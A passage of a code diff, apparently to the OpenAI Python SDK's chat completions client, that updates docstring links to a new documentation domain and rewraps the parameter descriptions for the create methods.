- [text generation](https://platform.openai.com/docs/guides/text-generation),
- [vision](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text),
+ [vision](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
Args:
messages: A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message
- types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
+ [model](https://developers.openai.com/api/docs/models) you use, different
+ message types (modalities) are supported, like
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
audio: Parameters for audio output. Required when audio output is requested with
`modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
frequency_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on their
existing frequency in the text so far, decreasing the model's likelihood to
@@ -715,15 +719,15 @@ def create(
max_completion_tokens: An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -738,8 +742,8 @@ def create(
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
@@ -750,7 +754,7 @@ def create(
choices. Keep `n` as `1` to minimize costs.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
prediction: Static predicted output content, such as the content of a text file that is
@@ -762,7 +766,7 @@ def create(
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -771,7 +775,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -779,7 +783,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -796,7 +800,7 @@ def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: An object specifying the format that the model must output.
@@ -804,7 +808,7 @@ def create(
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -815,7 +819,7 @@ def create(
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
seed: This feature is in Beta. If specified, our system will make a best effort to
sample deterministically, such that repeated requests with the same `seed` and
@@ -830,13 +834,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -850,8 +856,9 @@ def create(
returned text will not contain the stop sequence.
store: Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
@@ -873,8 +880,9 @@ def create(
are present.
tools: A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
to return at each token position, each with an associated log probability. In
@@ -891,7 +899,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
verbosity: Constrains the verbosity of the model's response. Lower values will result in
more concise responses, while higher values will result in more verbose
@@ -900,7 +908,7 @@ def create(
web_search_options: This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
extra_headers: Send extra headers
@@ -962,52 +970,52 @@ def create(
) -> ChatCompletion | Stream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
- [Responses](https://platform.openai.com/docs/api-reference/responses) to take
- advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Responses](https://developers.openai.com/api/reference/resources/responses) to
+ take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://platform.openai.com/docs/guides/text-generation),
- [vision](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text),
+ [vision](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
Args:
messages: A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message
- types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
+ [model](https://developers.openai.com/api/docs/models) you use, different
+ message types (modalities) are supported, like
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
audio: Parameters for audio output. Required when audio output is requested with
`modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
frequency_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on their
existing frequency in the text so far, decreasing the model's likelihood to
@@ -1047,15 +1055,15 @@ def create(
max_completion_tokens: An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -1070,8 +1078,8 @@ def create(
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
@@ -1082,7 +1090,7 @@ def create(
choices. Keep `n` as `1` to minimize costs.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
prediction: Static predicted output content, such as the content of a text file that is
@@ -1094,7 +1102,7 @@ def create(
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -1103,7 +1111,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -1111,7 +1119,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -1128,7 +1136,7 @@ def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: An object specifying the format that the model must output.
@@ -1136,7 +1144,7 @@ def create(
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -1147,7 +1155,7 @@ def create(
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
seed: This feature is in Beta. If specified, our system will make a best effort to
sample deterministically, such that repeated requests with the same `seed` and
@@ -1162,13 +1170,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -1182,8 +1192,9 @@ def create(
returned text will not contain the stop sequence.
store: Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
@@ -1205,8 +1216,9 @@ def create(
are present.
tools: A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
to return at each token position, each with an associated log probability. In
@@ -1223,7 +1235,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
verbosity: Constrains the verbosity of the model's response. Lower values will result in
more concise responses, while higher values will result in more verbose
@@ -1232,7 +1244,7 @@ def create(
web_search_options: This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
extra_headers: Send extra headers
@@ -1909,43 +1921,43 @@ async def create(
) -> ChatCompletion:
"""
**Starting a new project?** We recommend trying
- [Responses](https://platform.openai.com/docs/api-reference/responses) to take
- advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Responses](https://developers.openai.com/api/reference/resources/responses) to
+ take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://platform.openai.com/docs/guides/text-generation),
- [vision](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text),
+ [vision](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
Args:
messages: A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message
- types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
+ [model](https://developers.openai.com/api/docs/models) you use, different
+ message types (modalities) are supported, like
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
audio: Parameters for audio output. Required when audio output is requested with
`modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
frequency_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on their
existing frequency in the text so far, decreasing the model's likelihood to
@@ -1985,15 +1997,15 @@ async def create(
max_completion_tokens: An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -2008,8 +2020,8 @@ async def create(
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
@@ -2020,7 +2032,7 @@ async def create(
choices. Keep `n` as `1` to minimize costs.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
prediction: Static predicted output content, such as the content of a text file that is
@@ -2032,7 +2044,7 @@ async def create(
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2041,7 +2053,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2049,7 +2061,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2066,7 +2078,7 @@ async def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: An object specifying the format that the model must output.
@@ -2074,7 +2086,7 @@ async def create(
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -2085,7 +2097,7 @@ async def create(
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
seed: This feature is in Beta. If specified, our system will make a best effort to
sample deterministically, such that repeated requests with the same `seed` and
@@ -2100,13 +2112,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2120,8 +2134,9 @@ async def create(
returned text will not contain the stop sequence.
store: Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
@@ -2129,9 +2144,9 @@ async def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
stream_options: Options for streaming response. Only set this when you set `stream: true`.
@@ -2152,8 +2167,9 @@ async def create(
are present.
tools: A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
to return at each token position, each with an associated log probability. In
@@ -2170,7 +2186,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
verbosity: Constrains the verbosity of the model's response. Lower values will result in
more concise responses, while higher values will result in more verbose
@@ -2179,7 +2195,7 @@ async def create(
web_search_options: This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
extra_headers: Send extra headers
@@ -2241,52 +2257,52 @@ async def create(
) -> AsyncStream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
- [Responses](https://platform.openai.com/docs/api-reference/responses) to take
- advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Responses](https://developers.openai.com/api/reference/resources/responses) to
+ take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://platform.openai.com/docs/guides/text-generation),
- [vision](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text),
+ [vision](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
Args:
messages: A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message
- types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
